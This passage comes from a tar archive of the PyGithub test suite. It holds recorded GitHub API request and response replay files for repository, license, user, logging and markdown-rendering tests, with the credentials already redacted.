//api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2015-03-26T14:31:35Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":559,"watchers_count":559,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":152,"mirror_url":null,"open_issues_count":24,"forks":152,"open_issues":24,"watchers":559,"default_branch":"master"},"network_count":152,"subscribers_count":1} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '13643'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '76d9828c7e4f1d910f7ba069e90ce976'), ('x-oauth-scopes', 'gist, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"4a598c12d70d21ed45f8cc87ca10c0ef"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4958'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '6CE875F7:1A8F:54374C:5514C7D9'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Fri, 27 Mar 2015 02:56:43 GMT'), ('date', 'Fri, 27 Mar 2015 03:00:41 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1427427963')] {"id":32964720,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"korfuri","id":1124263,"avatar_url":"https://avatars.githubusercontent.com/u/1124263?v=3","gravatar_id":"","url":"https://api.github.com/users/korfuri","html_url":"https://github.com/korfuri","followers_url":"https://api.github.com/users/korfuri/followers","following_url":"https://api.github.com/users/korfuri/following{/other_user}","gists_url":"https://api.github.com/users/korfuri/gists{/gist_id}","starred_url":"https://api.github.com/users/korfuri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/korfuri/subscriptions","organizations_url":"https://api.github.com/users/korfuri/orgs","repos_url":"https://api.github.com/users/korfuri/repos","events_url":"https://api.github.com/users/korfuri/events{/privacy}","received_events_url":"https://api.github.com/users/korfuri/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2015-03-27T02:56:40Z","updated_at":"2015-03-27T02:56:43Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"parent":{"id":32905113,"name":"PyGithub","full_name":"Jucyio/PyGithub","owner":{"login":"Jucyio","id":11623651,"avatar_url":"https://avatars.githubusercontent.com/u/11623651?v=3","gravatar_id":"","url":"https://api.github.com/users/Jucyio","html_url":"https://github.com/Jucyio","followers_url":"https://api.github.com/users/Jucyio/followers","following_url":"https://api.github.com/users/Jucyio/following{/other_user}","gists_url":"https://api.github.com/users/Jucyio/gists{/gist_id}","starred_url":"https://api.github.com/users/Jucyio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Jucyio/subscriptions","organizations_url":"https://api.github.com/users/Jucyio/orgs","repos_url":"https://api.github.com/users/Jucyio/repos","events_url":"https://api.github.com/users/Jucyio/events{/privacy}","received_events_url":"https://api.github.com/users/Jucyio/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/Jucyio/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Jucyio/PyGithub","forks_url":"https://api.github.com/repos/Jucyio/PyGithub/forks","keys_url":"https://api.github.com/repos/Jucyio/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Jucyio/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Jucyio/PyGithub/teams","hooks_url":"https://api.github.com/repos/Jucyio/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Jucyio/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Jucyio/PyGithub/events","assignees_url":"https://api.github.com/repos/Jucyio/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Jucyio/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Jucyio/PyGithub/tags","blobs_url":"https://api.github.com/repos/Jucyio/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Jucyio/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Jucyio/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Jucyio/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Jucyio/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Jucyio/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Jucyio/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Jucyio/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Jucyio/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Jucyio/PyGithub/subscription","commits_url":"https://api.github.com/repos/Jucyio/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Jucyio/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Jucyio/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Jucyio/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Jucyio/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Jucyio/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Jucyio/PyGithub/merges","archive_url":"https://api.github.com/repos/Jucyio/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Jucyio/PyGithub/downloads","issues_url":"https://api.github.com/repos/Jucyio/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Jucyio/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Jucyio/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Jucyio/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Jucyio/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Jucyio/PyGithub/releases{/id}","created_at":"2015-03-26T03:17:03Z","updated_at":"2015-03-26T03:17:05Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/Jucyio/PyGithub.git","ssh_url":"git@github.com:Jucyio/PyGithub.git","clone_url":"https://github.com/Jucyio/PyGithub.git","svn_url":"https://github.com/Jucyio/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":1,"mirror_url":null,"open_issues_count":0,"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2015-03-26T14:31:35Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":559,"watchers_count":559,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":152,"mirror_url":null,"open_issues_count":24,"forks":152,"open_issues":24,"watchers":559,"default_branch":"master"},"network_count":152,"subscribers_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/License.setUp.txt0000644000175100001660000000712414756101563021404 0ustar00runnerdockerhttps GET api.github.com None /licenses/mit {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 21:02:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"490649ace0d045490f6aae672bacf638dd2b937aeb7c8f94c050fbd93d1fa27f"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4963'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '37'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A1B4:12E656:1E70F9BB:1F3C75B3:6778505A')] {"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz","html_url":"http://choosealicense.com/licenses/mit/","description":"A short and simple permissive license with conditions only requiring preservation of copyright and license notices. Licensed works, modifications, and larger works may be distributed under different terms and without source code.","implementation":"Create a text file (typically named LICENSE or LICENSE.txt) in the root of your source code and copy the text of the license into the file. Replace [year] with the current year and [fullname] with the name (or names) of the copyright holders.","permissions":["commercial-use","modifications","distribution","private-use"],"conditions":["include-copyright"],"limitations":["liability","warranty"],"body":"MIT License\n\nCopyright (c) [year] [fullname]\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n","featured":true} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Logging.testLoggingWithBaseUrl.txt0000644000175100001660000000235314756101563024707 0ustar00runnerdockerhttp GET my.enterprise.com None /my/prefix/users/jacquev6 {'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '628'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept'), ('x-ratelimit-remaining', '4989'), ('server', 'nginx'), ('last-modified', 'Tue, 25 Sep 2012 07:42:42 GMT'), ('connection', 'keep-alive'), ('etag', '"9bd085221a16b6d2ea95e72634c3c1ac"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Sep 2012 20:38:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","created_at":"2010-07-09T06:10:06Z","email":"vincent@vincent-jacques.net","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","public_gists":3,"bio":"","following":29,"name":"Vincent Jacques","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"public_repos":13,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Logging.testLoggingWithBasicAuthentication.txt0000644000175100001660000000272414756101563027275 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '806'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4993'), ('server', 'nginx'), ('last-modified', 'Fri, 14 Sep 2012 18:47:46 GMT'), ('connection', 'keep-alive'), ('etag', '"434dfe5d3f50558fe3cea087cb95c401"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Mon, 17 Sep 2012 17:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"owned_private_repos":3,"disk_usage":18612,"following":28,"type":"User","public_repos":13,"location":"Paris, France","company":"Criteo","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","plan":{"space":614400,"private_repos":5,"name":"micro","collaborators":1},"blog":"http://vincent-jacques.net","login":"jacquev6","public_gists":3,"html_url":"https://github.com/jacquev6","hireable":false,"created_at":"2010-07-09T06:10:06Z","private_gists":5,"followers":13,"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","bio":"","total_private_repos":3,"collaborators":0,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Logging.testLoggingWithOAuthAuthentication.txt0000644000175100001660000000253214756101563027271 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4993'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '628'), ('server', 'nginx'), ('last-modified', 'Tue, 25 Sep 2012 07:42:42 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c23ad6b5815fc3d6ec6341c4a47afe85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Sep 2012 20:36:54 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] {"type":"User","bio":"","html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","blog":"http://vincent-jacques.net","public_repos":13,"created_at":"2010-07-09T06:10:06Z","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","email":"vincent@vincent-jacques.net","following":29,"name":"Vincent Jacques","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","hireable":false,"id":327146,"public_gists":3,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Logging.testLoggingWithoutAuthentication.txt0000644000175100001660000000233714756101563027063 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '628'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept'), ('x-ratelimit-remaining', '4989'), ('server', 'nginx'), ('last-modified', 'Tue, 25 Sep 2012 07:42:42 GMT'), ('connection', 'keep-alive'), ('etag', '"9bd085221a16b6d2ea95e72634c3c1ac"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Sep 2012 20:38:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","created_at":"2010-07-09T06:10:06Z","email":"vincent@vincent-jacques.net","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","public_gists":3,"bio":"","following":29,"name":"Vincent Jacques","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"public_repos":13,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Markdown.setUp.txt0000644000175100001660000000612014756101563021577 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '801'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4987'), ('server', 'nginx/1.0.13'), ('last-modified', 'Mon, 09 Jul 2012 06:49:53 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1bd2b9dfc8ba65f7665102d6245a1593"'), ('cache-control', 'private, max-age=60'), ('date', 'Fri, 13 Jul 2012 11:59:58 GMT'), ('content-type', 'application/json; charset=utf-8')] {"disk_usage":13720,"public_repos":11,"type":"User","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","total_private_repos":3,"collaborators":0,"hireable":false,"login":"jacquev6","owned_private_repos":3,"public_gists":3,"email":"vincent@vincent-jacques.net","bio":"","private_gists":5,"created_at":"2010-07-09T06:10:06Z","blog":"http://vincent-jacques.net","following":26,"location":"Paris, France","followers":13,"name":"Vincent Jacques","company":"Criteo","plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"html_url":"https://github.com/jacquev6","id":327146,"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1154'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 12 Jul 2012 18:10:45 GMT'), ('connection', 'keep-alive'), ('etag', '"7db49a096161f262ffd7e0545292f4c3"'), ('cache-control', 'private, max-age=60'), ('date', 'Fri, 13 Jul 2012 11:59:59 GMT'), ('content-type', 'application/json; charset=utf-8')] {"svn_url":"https://github.com/jacquev6/PyGithub","created_at":"2012-02-25T12:53:47Z","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"login":"jacquev6","url":"https://api.github.com/users/jacquev6"},"full_name":"jacquev6/PyGithub","has_wiki":false,"watchers":43,"git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-07-11T11:29:24Z","updated_at":"2012-07-12T18:10:45Z","permissions":{"pull":true,"push":true,"admin":true},"open_issues":11,"forks":7,"clone_url":"https://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","homepage":"http://vincent-jacques.net/PyGithub","size":160,"fork":false,"master_branch":"master","mirror_url":null,"has_issues":true,"name":"PyGithub","has_downloads":true,"description":"Python library implementing the full Github API v3","private":false,"id":3544490,"language":"Python","url":"https://api.github.com/repos/jacquev6/PyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Markdown.testRenderGithubFlavoredMarkdown.txt0000644000175100001660000000140514756101563027150 0ustar00runnerdockerhttps POST api.github.com None /markdown {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"text": "MyTitle\n=======\n\nIssue #1", "mode": "gfm", "context": "jacquev6/PyGithub"} 200 [('status', '200 OK'), ('content-length', '150'), ('x-ratelimit-remaining', '4988'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"63251bf7dbb58f62c59ae39bb72c7a38"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 13 Jul 2012 11:59:58 GMT'), ('content-type', 'text/html;charset=utf-8')]

MyTitle

Issue #1

././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Markdown.testRenderMarkdown.txt0000644000175100001660000000130414756101563024320 0ustar00runnerdockerhttps POST api.github.com None /markdown {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"text": "MyTitle\n=======\n\nIssue #1"} 200 [('status', '200 OK'), ('content-length', '133'), ('x-ratelimit-remaining', '4985'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4cb17c0ebe3cc45c1a7f27d4d0850c54"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 13 Jul 2012 11:59:59 GMT'), ('content-type', 'text/html;charset=utf-8')]

MyTitle

Issue #1

